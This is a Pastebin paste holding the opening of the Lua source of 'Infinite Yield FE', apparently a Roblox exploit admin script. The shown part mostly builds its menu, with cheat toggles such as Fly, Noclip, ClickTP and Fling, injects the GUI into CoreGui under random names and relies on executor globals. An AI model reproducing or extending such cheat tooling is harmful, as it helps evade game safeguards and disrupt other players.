Darkaf

infx irlddlpsd

May 26th, 2020
74
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 282.24 KB | None | 0 0
  1. if IY_LOADED then
  2. error("Infinite Yield is already running!",0)
  3. return
  4. end
  5.  
  6. pcall(function() getgenv().IY_LOADED = true end)
  7.  
  8. if not game:IsLoaded() then
  9. local notLoaded = Instance.new("Message",workspace)
  10. notLoaded.Text = 'Infinite Yield is waiting for the game to load'
  11. game.Loaded:Wait()
  12. notLoaded:Destroy()
  13. end
  14.  
  15. ver = '3.8.3'
  16.  
  17. Players = game:GetService("Players")
  18.  
  19. Holder = Instance.new("Frame")
  20. Title = Instance.new("TextLabel")
  21. Dark = Instance.new("Frame")
  22. Cmdbar = Instance.new("TextBox")
  23. Dark_2 = Instance.new("Frame")
  24. CMDsF = Instance.new("ScrollingFrame")
  25. SettingsButton = Instance.new("ImageButton")
  26. ColorsButton = Instance.new("ImageButton")
  27. Settings = Instance.new("Frame")
  28. Prefix = Instance.new("TextLabel")
  29. PrefixBox = Instance.new("TextBox")
  30. Keybinds = Instance.new("TextLabel")
  31. Select = Instance.new("TextButton")
  32. StayOpen = Instance.new("TextLabel")
  33. Button = Instance.new("Frame")
  34. On = Instance.new("TextButton")
  35. Positions = Instance.new("TextLabel")
  36. Select_8 = Instance.new("TextButton")
  37. SpawnC = Instance.new("TextLabel")
  38. Select_2 = Instance.new("TextButton")
  39. Plugins = Instance.new("TextLabel")
  40. Select_9 = Instance.new("TextButton")
  41. Example = Instance.new("TextButton")
  42. Notification = Instance.new("Frame")
  43. Title_2 = Instance.new("TextLabel")
  44. Text_2 = Instance.new("TextLabel")
  45. CloseButton = Instance.new("ImageButton")
  46. Tooltip = Instance.new("Frame")
  47. Title_3 = Instance.new("TextLabel")
  48. Description = Instance.new("TextLabel")
  49. IntroBackground = Instance.new("Frame")
  50. Logo = Instance.new("ImageLabel")
  51. Credits = Instance.new("TextBox")
  52. KeybindsFrame = Instance.new("Frame")
  53. Close = Instance.new("TextButton")
  54. SpawnCFrame = Instance.new("Frame")
  55. Holder_6 = Instance.new("ScrollingFrame")
  56. Close_5 = Instance.new("TextButton")
  57. Add = Instance.new("TextButton")
  58. Delete = Instance.new("TextButton")
  59. Holder_2 = Instance.new("ScrollingFrame")
  60. Example_2 = Instance.new("Frame")
  61. Text_3 = Instance.new("TextLabel")
  62. Delete_2 = Instance.new("TextButton")
  63. KeybindEditor = Instance.new("Frame")
  64. background_2 = Instance.new("Frame")
  65. Dark_4 = Instance.new("Frame")
  66. Directions = Instance.new("TextLabel")
  67. BindTo = Instance.new("TextButton")
  68. Add_2 = Instance.new("TextButton")
  69. Cmdbar_2 = Instance.new("TextBox")
  70. Toggles = Instance.new("ScrollingFrame")
  71. Fly = Instance.new("TextLabel")
  72. Select_3 = Instance.new("TextButton")
  73. Noclip = Instance.new("TextLabel")
  74. Select_4 = Instance.new("TextButton")
  75. Float = Instance.new("TextLabel")
  76. Select_5 = Instance.new("TextButton")
  77. ClickTP = Instance.new("TextLabel")
  78. Select_6 = Instance.new("TextButton")
  79. ClickDelete = Instance.new("TextLabel")
  80. Select_13 = Instance.new("TextButton")
  81. Xray = Instance.new("TextLabel")
  82. Select_10 = Instance.new("TextButton")
  83. Swim = Instance.new("TextLabel")
  84. Select_11 = Instance.new("TextButton")
  85. Fling = Instance.new("TextLabel")
  86. Select_12 = Instance.new("TextButton")
  87. shadow_2 = Instance.new("Frame")
  88. PopupText_2 = Instance.new("TextLabel")
  89. Exit_2 = Instance.new("ImageButton")
  90. SpawnCEditor = Instance.new("Frame")
  91. background_4 = Instance.new("Frame")
  92. Cmdbar_3 = Instance.new("TextBox")
  93. Add_5 = Instance.new("TextButton")
  94. DelayNum = Instance.new("TextBox")
  95. DelayT = Instance.new("TextLabel")
  96. Directions_3 = Instance.new("TextLabel")
  97. Dark_11 = Instance.new("Frame")
  98. shadow_4 = Instance.new("Frame")
  99. PopupText_4 = Instance.new("TextLabel")
  100. Exit_4 = Instance.new("ImageButton")
  101. PositionsFrame = Instance.new("Frame")
  102. Close_3 = Instance.new("TextButton")
  103. Delete_5 = Instance.new("TextButton")
  104. Part = Instance.new("TextButton")
  105. Holder_4 = Instance.new("ScrollingFrame")
  106. Example_4 = Instance.new("Frame")
  107. Text_5 = Instance.new("TextLabel")
  108. Delete_6 = Instance.new("TextButton")
  109. TP = Instance.new("TextButton")
  110. AliasesFrame = Instance.new("Frame")
  111. Close_2 = Instance.new("TextButton")
  112. Delete_3 = Instance.new("TextButton")
  113. Holder_3 = Instance.new("ScrollingFrame")
  114. Example_3 = Instance.new("Frame")
  115. Text_4 = Instance.new("TextLabel")
  116. Delete_4 = Instance.new("TextButton")
  117. Aliases = Instance.new("TextLabel")
  118. Select_7 = Instance.new("TextButton")
  119. PluginsFrame = Instance.new("Frame")
  120. Close_4 = Instance.new("TextButton")
  121. Add_4 = Instance.new("TextButton")
  122. Delete_8 = Instance.new("TextButton")
  123. Add_3 = Instance.new("TextButton")
  124. Holder_5 = Instance.new("ScrollingFrame")
  125. Example_5 = Instance.new("Frame")
  126. Text_6 = Instance.new("TextLabel")
  127. Delete_7 = Instance.new("TextButton")
  128. PluginEditor = Instance.new("Frame")
  129. background_3 = Instance.new("Frame")
  130. Dark_9 = Instance.new("Frame")
  131. Img = Instance.new("ImageButton")
  132. AddPlugin = Instance.new("TextButton")
  133. FileName = Instance.new("TextBox")
  134. About = Instance.new("TextLabel")
  135. Directions_2 = Instance.new("TextLabel")
  136. shadow_3 = Instance.new("Frame")
  137. PopupText_3 = Instance.new("TextLabel")
  138. Exit_3 = Instance.new("ImageButton")
  139. logsDrag = Instance.new("Frame")
  140. shadow = Instance.new("Frame")
  141. Hide = Instance.new("ImageButton")
  142. PopupText = Instance.new("TextLabel")
  143. Exit = Instance.new("ImageButton")
  144. background = Instance.new("Frame")
  145. Clear = Instance.new("TextButton")
  146. Toggle = Instance.new("TextButton")
  147. SaveChatlogs = Instance.new("TextButton")
  148. scrollCL = Instance.new("ScrollingFrame")
  149. AliasHint = Instance.new("TextLabel")
  150. PluginsHint = Instance.new("TextLabel")
  151. PositionsHint = Instance.new("TextLabel")
  152. ToPartFrame = Instance.new("Frame")
  153. background_5 = Instance.new("Frame")
  154. ChoosePart = Instance.new("TextButton")
  155. CopyPath = Instance.new("TextButton")
  156. Directions_4 = Instance.new("TextLabel")
  157. Path = Instance.new("TextLabel")
  158. shadow_5 = Instance.new("Frame")
  159. PopupText_5 = Instance.new("TextLabel")
  160. Exit_5 = Instance.new("ImageButton")
  161.  
  162. PARENT = nil
  163. if game:GetService("CoreGui"):FindFirstChild('RobloxGui') then
  164. PARENT = game:GetService("CoreGui").RobloxGui
  165. else
  166. PARENT = game:GetService("CoreGui")
  167. end
  168.  
  169. function randomString()
  170. local length = math.random(10,20)
  171. local array = {}
  172. for i = 1, length do
  173. array[i] = string.char(math.random(32, 126))
  174. end
  175. return table.concat(array)
  176. end
  177.  
  178. shade1 = {}
  179. shade2 = {}
  180. shade3 = {}
  181. text1 = {}
  182. text2 = {}
  183. scroll = {}
  184.  
  185. Holder.Name = randomString()
  186. Holder.Parent = PARENT
  187. Holder.Active = true
  188. Holder.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  189. Holder.BackgroundTransparency = 0.2
  190. Holder.BorderSizePixel = 0
  191. Holder.Position = UDim2.new(1, -250, 1, -220)
  192. Holder.Size = UDim2.new(0, 250, 0, 220)
  193. Holder.ZIndex = 10
  194. table.insert(shade2,Holder)
  195.  
  196. Title.Name = "Title"
  197. Title.Parent = Holder
  198. Title.Active = true
  199. Title.BackgroundTransparency = 1
  200. Title.BorderSizePixel = 0
  201. Title.Size = UDim2.new(0, 250, 0, 20)
  202. Title.Font = Enum.Font.SourceSans
  203. Title.TextSize = 20
  204. Title.Text = "Infinite Yield FE v"..ver
  205. Title.TextColor3 = Color3.new(1, 1, 1)
  206. Title.ZIndex = 10
  207. table.insert(text1,Title)
  208.  
  209. Dark.Name = "Dark"
  210. Dark.Parent = Holder
  211. Dark.Active = true
  212. Dark.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  213. Dark.BorderSizePixel = 0
  214. Dark.Position = UDim2.new(0, 0, 0, 45)
  215. Dark.Size = UDim2.new(0, 250, 0, 175)
  216. Dark.ZIndex = 10
  217. table.insert(shade1,Dark)
  218.  
  219. Cmdbar.Name = "Cmdbar"
  220. Cmdbar.Parent = Holder
  221. Cmdbar.BackgroundTransparency = 1
  222. Cmdbar.BorderSizePixel = 0
  223. Cmdbar.Position = UDim2.new(0, 0, 0, 25)
  224. Cmdbar.Size = UDim2.new(0, 250, 0, 20)
  225. Cmdbar.Font = Enum.Font.SourceSans
  226. Cmdbar.TextSize = 20
  227. Cmdbar.Text = "Command Bar"
  228. Cmdbar.TextColor3 = Color3.new(1, 1, 1)
  229. Cmdbar.TextScaled = true
  230. Cmdbar.TextWrapped = true
  231. Cmdbar.ZIndex = 10
  232. table.insert(text1,Cmdbar)
  233.  
  234. Dark_2.Name = "Dark"
  235. Dark_2.Parent = Holder
  236. Dark_2.Active = true
  237. Dark_2.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  238. Dark_2.BorderSizePixel = 0
  239. Dark_2.Position = UDim2.new(0, 0, 0, 20)
  240. Dark_2.Size = UDim2.new(0, 250, 0, 5)
  241. Dark_2.ZIndex = 10
  242. table.insert(shade1,Dark_2)
  243.  
  244. CMDsF.Name = "CMDs"
  245. CMDsF.Parent = Holder
  246. CMDsF.BackgroundTransparency = 1
  247. CMDsF.BorderSizePixel = 0
  248. CMDsF.Position = UDim2.new(0, 0, 0, 45)
  249. CMDsF.Size = UDim2.new(0, 250, 0, 175)
  250. CMDsF.ScrollBarImageColor3 = Color3.fromRGB(78,78,79)
  251. CMDsF.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  252. CMDsF.CanvasSize = UDim2.new(0, 0, 0, 0)
  253. CMDsF.MidImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  254. CMDsF.ScrollBarThickness = 8
  255. CMDsF.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  256. CMDsF.VerticalScrollBarInset = 'Always'
  257. CMDsF.ZIndex = 10
  258. table.insert(scroll,CMDsF)
  259.  
  260. SettingsButton.Name = "SettingsButton"
  261. SettingsButton.Parent = Holder
  262. SettingsButton.BackgroundTransparency = 1
  263. SettingsButton.Position = UDim2.new(0, 230, 0, 0)
  264. SettingsButton.Size = UDim2.new(0, 20, 0, 20)
  265. SettingsButton.Image = "rbxassetid://1204397029"
  266. SettingsButton.ZIndex = 10
  267.  
  268. ColorsButton.Name = "ColorsButton"
  269. ColorsButton.Parent = Holder
  270. ColorsButton.BackgroundTransparency = 1
  271. ColorsButton.Position = UDim2.new(0, 212, 0, 2)
  272. ColorsButton.Size = UDim2.new(0, 16, 0, 16)
  273. ColorsButton.Image = "rbxassetid://4911962991"
  274. ColorsButton.ZIndex = 10
  275.  
  276. Settings.Name = "Settings"
  277. Settings.Parent = Holder
  278. Settings.Active = true
  279. Settings.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  280. Settings.BorderSizePixel = 0
  281. Settings.Position = UDim2.new(0, 0, 0, 220)
  282. Settings.Size = UDim2.new(0, 250, 0, 175)
  283. Settings.ZIndex = 10
  284. table.insert(shade1,Settings)
  285.  
  286. Prefix.Name = "Prefix"
  287. Prefix.Parent = Settings
  288. Prefix.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  289. Prefix.BorderSizePixel = 0
  290. Prefix.Position = UDim2.new(0, 0, 0, 5)
  291. Prefix.Size = UDim2.new(0, 250, 0, 20)
  292. Prefix.Font = Enum.Font.SourceSans
  293. Prefix.TextSize = 14
  294. Prefix.Text = " Prefix"
  295. Prefix.TextColor3 = Color3.new(1, 1, 1)
  296. Prefix.TextXAlignment = Enum.TextXAlignment.Left
  297. Prefix.ZIndex = 10
  298. table.insert(shade2,Prefix)
  299. table.insert(text1,Prefix)
  300.  
  301. PrefixBox.Name = "PrefixBox"
  302. PrefixBox.Parent = Prefix
  303. PrefixBox.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  304. PrefixBox.BorderSizePixel = 0
  305. PrefixBox.Position = UDim2.new(0, 230, 0, 0)
  306. PrefixBox.Size = UDim2.new(0, 20, 0, 20)
  307. PrefixBox.Font = Enum.Font.SourceSansBold
  308. PrefixBox.TextSize = 14
  309. PrefixBox.Text = ''
  310. PrefixBox.TextColor3 = Color3.new(0, 0, 0)
  311. PrefixBox.ZIndex = 10
  312. table.insert(shade3,PrefixBox)
  313. table.insert(text2,PrefixBox)
  314.  
  315. Keybinds.Name = "Keybinds"
  316. Keybinds.Parent = Settings
  317. Keybinds.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  318. Keybinds.BorderSizePixel = 0
  319. Keybinds.Position = UDim2.new(0, 0, 0, 55)
  320. Keybinds.Size = UDim2.new(0, 250, 0, 20)
  321. Keybinds.Font = Enum.Font.SourceSans
  322. Keybinds.TextSize = 14
  323. Keybinds.Text = " Keybinds"
  324. Keybinds.TextColor3 = Color3.new(1, 1, 1)
  325. Keybinds.TextXAlignment = Enum.TextXAlignment.Left
  326. Keybinds.ZIndex = 10
  327. table.insert(shade2,Keybinds)
  328. table.insert(text1,Keybinds)
  329.  
  330. Select.Name = "Select"
  331. Select.Parent = Keybinds
  332. Select.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  333. Select.BorderSizePixel = 0
  334. Select.Position = UDim2.new(0, 200, 0, 0)
  335. Select.Size = UDim2.new(0, 50, 0, 20)
  336. Select.Font = Enum.Font.SourceSans
  337. Select.TextSize = 14
  338. Select.Text = "Edit"
  339. Select.TextColor3 = Color3.new(0, 0, 0)
  340. Select.ZIndex = 10
  341. table.insert(shade3,Select)
  342. table.insert(text2,Select)
  343.  
  344. Aliases.Name = "Aliases"
  345. Aliases.Parent = Settings
  346. Aliases.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  347. Aliases.BorderSizePixel = 0
  348. Aliases.Position = UDim2.new(0, 0, 0, 80)
  349. Aliases.Size = UDim2.new(0, 250, 0, 20)
  350. Aliases.Font = Enum.Font.SourceSans
  351. Aliases.TextSize = 14
  352. Aliases.Text = " Aliases"
  353. Aliases.TextColor3 = Color3.new(1, 1, 1)
  354. Aliases.TextXAlignment = Enum.TextXAlignment.Left
  355. Aliases.ZIndex = 10
  356. table.insert(shade2,Aliases)
  357. table.insert(text1,Aliases)
  358.  
  359. Select_7.Name = "Select"
  360. Select_7.Parent = Aliases
  361. Select_7.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  362. Select_7.BorderSizePixel = 0
  363. Select_7.Position = UDim2.new(0, 200, 0, 0)
  364. Select_7.Size = UDim2.new(0, 50, 0, 20)
  365. Select_7.Font = Enum.Font.SourceSans
  366. Select_7.TextSize = 14
  367. Select_7.Text = "Edit"
  368. Select_7.TextColor3 = Color3.new(0, 0, 0)
  369. Select_7.ZIndex = 10
  370. table.insert(shade3,Select_7)
  371. table.insert(text2,Select_7)
  372.  
  373. StayOpen.Name = "StayOpen"
  374. StayOpen.Parent = Settings
  375. StayOpen.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  376. StayOpen.BorderSizePixel = 0
  377. StayOpen.Position = UDim2.new(0, 0, 0, 30)
  378. StayOpen.Size = UDim2.new(0, 250, 0, 20)
  379. StayOpen.Font = Enum.Font.SourceSans
  380. StayOpen.TextSize = 14
  381. StayOpen.Text = " Keep Menu Open"
  382. StayOpen.TextColor3 = Color3.new(1, 1, 1)
  383. StayOpen.TextXAlignment = Enum.TextXAlignment.Left
  384. StayOpen.ZIndex = 10
  385. table.insert(shade2,StayOpen)
  386. table.insert(text1,StayOpen)
  387.  
  388. Button.Name = "Button"
  389. Button.Parent = StayOpen
  390. Button.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  391. Button.BorderSizePixel = 0
  392. Button.Position = UDim2.new(0, 230, 0, 0)
  393. Button.Size = UDim2.new(0, 20, 0, 20)
  394. Button.ZIndex = 10
  395. table.insert(shade3,Button)
  396.  
  397. On.Name = "On"
  398. On.Parent = Button
  399. On.BackgroundColor3 = Color3.fromRGB(150, 150, 151)
  400. On.BackgroundTransparency = 1
  401. On.BorderSizePixel = 0
  402. On.Position = UDim2.new(0, 2, 0, 2)
  403. On.Size = UDim2.new(0, 16, 0, 16)
  404. On.Font = Enum.Font.SourceSans
  405. On.FontSize = Enum.FontSize.Size14
  406. On.Text = ""
  407. On.TextColor3 = Color3.new(0, 0, 0)
  408. On.ZIndex = 10
  409.  
  410. Positions.Name = "Positions"
  411. Positions.Parent = Settings
  412. Positions.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  413. Positions.BorderSizePixel = 0
  414. Positions.Position = UDim2.new(0, 0, 0, 105)
  415. Positions.Size = UDim2.new(0, 250, 0, 20)
  416. Positions.Font = Enum.Font.SourceSans
  417. Positions.TextSize = 14
  418. Positions.Text = " Waypoints / Positions / Part TP"
  419. Positions.TextColor3 = Color3.new(1, 1, 1)
  420. Positions.TextXAlignment = Enum.TextXAlignment.Left
  421. Positions.ZIndex = 10
  422. table.insert(shade2,Positions)
  423. table.insert(text1,Positions)
  424.  
  425. Select_8.Name = "Select"
  426. Select_8.Parent = Positions
  427. Select_8.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  428. Select_8.BorderSizePixel = 0
  429. Select_8.Position = UDim2.new(0, 200, 0, 0)
  430. Select_8.Size = UDim2.new(0, 50, 0, 20)
  431. Select_8.Font = Enum.Font.SourceSans
  432. Select_8.TextSize = 14
  433. Select_8.Text = "Edit / TP"
  434. Select_8.TextColor3 = Color3.new(0, 0, 0)
  435. Select_8.ZIndex = 10
  436. table.insert(shade3,Select_8)
  437. table.insert(text2,Select_8)
  438.  
  439. SpawnC.Name = "SpawnC"
  440. SpawnC.Parent = Settings
  441. SpawnC.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  442. SpawnC.BorderSizePixel = 0
  443. SpawnC.Position = UDim2.new(0, 0, 0, 155)
  444. SpawnC.Size = UDim2.new(0, 250, 0, 20)
  445. SpawnC.Font = Enum.Font.SourceSans
  446. SpawnC.TextSize = 14
  447. SpawnC.Text = " Spawn Commands"
  448. SpawnC.TextColor3 = Color3.new(1, 1, 1)
  449. SpawnC.TextXAlignment = Enum.TextXAlignment.Left
  450. SpawnC.ZIndex = 10
  451. table.insert(shade2,SpawnC)
  452. table.insert(text1,SpawnC)
  453.  
  454. Select_2.Name = "Select"
  455. Select_2.Parent = SpawnC
  456. Select_2.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  457. Select_2.BorderSizePixel = 0
  458. Select_2.Position = UDim2.new(0, 200, 0, 0)
  459. Select_2.Size = UDim2.new(0, 50, 0, 20)
  460. Select_2.Font = Enum.Font.SourceSans
  461. Select_2.TextSize = 14
  462. Select_2.Text = "Edit"
  463. Select_2.TextColor3 = Color3.new(0, 0, 0)
  464. Select_2.ZIndex = 10
  465. table.insert(shade3,Select_2)
  466. table.insert(text2,Select_2)
  467.  
  468. Plugins.Name = "Plugins"
  469. Plugins.Parent = Settings
  470. Plugins.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  471. Plugins.BorderSizePixel = 0
  472. Plugins.Position = UDim2.new(0, 0, 0, 130)
  473. Plugins.Size = UDim2.new(0, 250, 0, 20)
  474. Plugins.Font = Enum.Font.SourceSans
  475. Plugins.TextSize = 14
  476. Plugins.Text = " Plugins"
  477. Plugins.TextColor3 = Color3.new(1, 1, 1)
  478. Plugins.TextXAlignment = Enum.TextXAlignment.Left
  479. Plugins.ZIndex = 10
  480. table.insert(shade2,Plugins)
  481. table.insert(text1,Plugins)
  482.  
  483. Select_9.Name = "Select"
  484. Select_9.Parent = Plugins
  485. Select_9.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  486. Select_9.BorderSizePixel = 0
  487. Select_9.Position = UDim2.new(0, 200, 0, 0)
  488. Select_9.Size = UDim2.new(0, 50, 0, 20)
  489. Select_9.Font = Enum.Font.SourceSans
  490. Select_9.TextSize = 14
  491. Select_9.Text = "Edit"
  492. Select_9.TextColor3 = Color3.new(0, 0, 0)
  493. Select_9.ZIndex = 10
  494. table.insert(shade3,Select_9)
  495. table.insert(text2,Select_9)
  496.  
  497. Example.Name = "Example"
  498. Example.Parent = Holder
  499. Example.BackgroundTransparency = 1
  500. Example.BorderSizePixel = 0
  501. Example.Size = UDim2.new(0, 190, 0, 20)
  502. Example.Visible = false
  503. Example.Font = Enum.Font.SourceSans
  504. Example.TextSize = 18
  505. Example.Text = "Example"
  506. Example.TextColor3 = Color3.new(1, 1, 1)
  507. Example.TextXAlignment = Enum.TextXAlignment.Left
  508. Example.ZIndex = 10
  509. table.insert(text1,Example)
  510.  
  511. Notification.Name = randomString()
  512. Notification.Parent = PARENT
  513. Notification.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  514. Notification.BorderSizePixel = 0
  515. Notification.Position = UDim2.new(1, -500, 1, 20)
  516. Notification.Size = UDim2.new(0, 250, 0, 100)
  517. Notification.ZIndex = 10
  518. table.insert(shade1,Notification)
  519.  
  520. Title_2.Name = "Title"
  521. Title_2.Parent = Notification
  522. Title_2.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  523. Title_2.BorderSizePixel = 0
  524. Title_2.Size = UDim2.new(0, 250, 0, 20)
  525. Title_2.Font = Enum.Font.SourceSans
  526. Title_2.TextSize = 14
  527. Title_2.Text = "Notification Title"
  528. Title_2.TextColor3 = Color3.new(1, 1, 1)
  529. Title_2.ZIndex = 10
  530. table.insert(shade2,Title_2)
  531. table.insert(text1,Title_2)
  532.  
  533. Text_2.Name = "Text"
  534. Text_2.Parent = Notification
  535. Text_2.BackgroundTransparency = 1
  536. Text_2.BorderSizePixel = 0
  537. Text_2.Position = UDim2.new(0, 5, 0, 25)
  538. Text_2.Size = UDim2.new(0, 240, 0, 75)
  539. Text_2.Font = Enum.Font.SourceSans
  540. Text_2.TextSize = 16
  541. Text_2.Text = "Notification Text"
  542. Text_2.TextColor3 = Color3.new(1, 1, 1)
  543. Text_2.TextWrapped = true
  544. Text_2.ZIndex = 10
  545. table.insert(text1,Text_2)
  546.  
  547. CloseButton.Name = "CloseButton"
  548. CloseButton.Parent = Notification
  549. CloseButton.BackgroundTransparency = 1
  550. CloseButton.Position = UDim2.new(0, 0, 0, 0)
  551. CloseButton.Size = UDim2.new(0, 20, 0, 20)
  552. CloseButton.Image = "rbxassetid://2132544126"
  553. CloseButton.ZIndex = 10
  554.  
  555. Tooltip.Name = randomString()
  556. Tooltip.Parent = PARENT
  557. Tooltip.Active = true
  558. Tooltip.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  559. Tooltip.BackgroundTransparency = 0.1
  560. Tooltip.BorderSizePixel = 0
  561. Tooltip.Size = UDim2.new(0, 200, 0, 96)
  562. Tooltip.Visible = false
  563. Tooltip.ZIndex = 10
  564. table.insert(shade1,Tooltip)
  565.  
  566. Title_3.Name = "Title"
  567. Title_3.Parent = Tooltip
  568. Title_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  569. Title_3.BackgroundTransparency = 0.1
  570. Title_3.BorderSizePixel = 0
  571. Title_3.Size = UDim2.new(0, 200, 0, 20)
  572. Title_3.Font = Enum.Font.SourceSans
  573. Title_3.TextSize = 14
  574. Title_3.Text = ""
  575. Title_3.TextColor3 = Color3.new(1, 1, 1)
  576. Title_3.TextTransparency = 0.1
  577. Title_3.ZIndex = 10
  578. table.insert(shade2,Title_3)
  579. table.insert(text1,Title_3)
  580.  
  581. Description.Name = "Description"
  582. Description.Parent = Tooltip
  583. Description.BackgroundTransparency = 1
  584. Description.BorderSizePixel = 0
  585. Description.Size = UDim2.new(0,180,0,72)
  586. Description.Position = UDim2.new(0,10,0,18)
  587. Description.Font = Enum.Font.SourceSans
  588. Description.TextSize = 16
  589. Description.Text = ""
  590. Description.TextColor3 = Color3.new(1, 1, 1)
  591. Description.TextTransparency = 0.1
  592. Description.TextWrapped = true
  593. Description.ZIndex = 10
  594. table.insert(text1,Description)
  595.  
  596. IntroBackground.Name = "IntroBackground"
  597. IntroBackground.Parent = Holder
  598. IntroBackground.Active = true
  599. IntroBackground.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  600. IntroBackground.BorderSizePixel = 0
  601. IntroBackground.Position = UDim2.new(0, 0, 0, 45)
  602. IntroBackground.Size = UDim2.new(0, 250, 0, 175)
  603. IntroBackground.ZIndex = 10
  604.  
  605. Logo.Name = "Logo"
  606. Logo.Parent = Holder
  607. Logo.BackgroundTransparency = 1
  608. Logo.BorderSizePixel = 0
  609. Logo.Position = UDim2.new(0, 125, 0, 127)
  610. Logo.Size = UDim2.new(0, 10, 0, 10)
  611. Logo.Image = "rbxassetid://1352543873"
  612. Logo.ImageTransparency = 0
  613. Logo.ZIndex = 10
  614.  
  615. Credits.Name = "Credits"
  616. Credits.Parent = Holder
  617. Credits.BackgroundTransparency = 1
  618. Credits.BorderSizePixel = 0
  619. Credits.Position = UDim2.new(0, 0, 0.9, 30)
  620. Credits.Size = UDim2.new(0, 250, 0, 20)
  621. Credits.Font = Enum.Font.SourceSansLight
  622. Credits.FontSize = Enum.FontSize.Size18
  623. Credits.Text = "Edge // Zwolf // Moon"
  624. Credits.TextColor3 = Color3.new(1, 1, 1)
  625. Credits.ZIndex = 10
  626.  
  627. KeybindsFrame.Name = "KeybindsFrame"
  628. KeybindsFrame.Parent = Settings
  629. KeybindsFrame.Active = true
  630. KeybindsFrame.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  631. KeybindsFrame.BorderSizePixel = 0
  632. KeybindsFrame.Position = UDim2.new(0, 0, 0, 175)
  633. KeybindsFrame.Size = UDim2.new(0, 250, 0, 175)
  634. KeybindsFrame.ZIndex = 10
  635. table.insert(shade1,KeybindsFrame)
  636.  
  637. Close.Name = "Close"
  638. Close.Parent = KeybindsFrame
  639. Close.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  640. Close.BorderSizePixel = 0
  641. Close.Position = UDim2.new(0, 205, 0, 150)
  642. Close.Size = UDim2.new(0, 40, 0, 20)
  643. Close.Font = Enum.Font.SourceSans
  644. Close.TextSize = 14
  645. Close.Text = "Close"
  646. Close.TextColor3 = Color3.new(1, 1, 1)
  647. Close.ZIndex = 10
  648. table.insert(shade2,Close)
  649. table.insert(text1,Close)
  650.  
  651. Add.Name = "Add"
  652. Add.Parent = KeybindsFrame
  653. Add.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  654. Add.BorderSizePixel = 0
  655. Add.Position = UDim2.new(0, 5, 0, 150)
  656. Add.Size = UDim2.new(0, 40, 0, 20)
  657. Add.Font = Enum.Font.SourceSans
  658. Add.TextSize = 14
  659. Add.Text = "Add"
  660. Add.TextColor3 = Color3.new(1, 1, 1)
  661. Add.ZIndex = 10
  662. table.insert(shade2,Add)
  663. table.insert(text1,Add)
  664.  
  665. Delete.Name = "Delete"
  666. Delete.Parent = KeybindsFrame
  667. Delete.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  668. Delete.BorderSizePixel = 0
  669. Delete.Position = UDim2.new(0, 50, 0, 150)
  670. Delete.Size = UDim2.new(0, 40, 0, 20)
  671. Delete.Font = Enum.Font.SourceSans
  672. Delete.TextSize = 14
  673. Delete.Text = "Clear"
  674. Delete.TextColor3 = Color3.new(1, 1, 1)
  675. Delete.ZIndex = 10
  676. table.insert(shade2,Delete)
  677. table.insert(text1,Delete)
  678.  
  679. Holder_2.Name = "Holder"
  680. Holder_2.Parent = KeybindsFrame
  681. Holder_2.BackgroundTransparency = 1
  682. Holder_2.BorderSizePixel = 0
  683. Holder_2.Position = UDim2.new(0, 0, 0, 0)
  684. Holder_2.Size = UDim2.new(0, 250, 0, 145)
  685. Holder_2.ScrollBarImageColor3 = Color3.fromRGB(78,78,79)
  686. Holder_2.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  687. Holder_2.CanvasSize = UDim2.new(0, 0, 0, 0)
  688. Holder_2.MidImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  689. Holder_2.ScrollBarThickness = 0
  690. Holder_2.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  691. Holder_2.VerticalScrollBarInset = 'Always'
  692. Holder_2.ZIndex = 10
  693.  
  694. Example_2.Name = "Example"
  695. Example_2.Parent = KeybindsFrame
  696. Example_2.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  697. Example_2.BorderSizePixel = 0
  698. Example_2.Size = UDim2.new(0, 10, 0, 20)
  699. Example_2.Visible = false
  700. Example_2.ZIndex = 10
  701. table.insert(shade2,Example_2)
  702.  
  703. Text_3.Name = "Text"
  704. Text_3.Parent = Example_2
  705. Text_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  706. Text_3.BorderSizePixel = 0
  707. Text_3.Position = UDim2.new(0, 10, 0, 0)
  708. Text_3.Size = UDim2.new(0, 240, 0, 20)
  709. Text_3.Font = Enum.Font.SourceSans
  710. Text_3.TextSize = 14
  711. Text_3.Text = "nom"
  712. Text_3.TextColor3 = Color3.new(1, 1, 1)
  713. Text_3.TextXAlignment = Enum.TextXAlignment.Left
  714. Text_3.ZIndex = 10
  715. table.insert(shade2,Text_3)
  716. table.insert(text1,Text_3)
  717.  
  718. Delete_2.Name = "Delete"
  719. Delete_2.Parent = Text_3
  720. Delete_2.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  721. Delete_2.BorderSizePixel = 0
  722. Delete_2.Position = UDim2.new(0, 200, 0, 0)
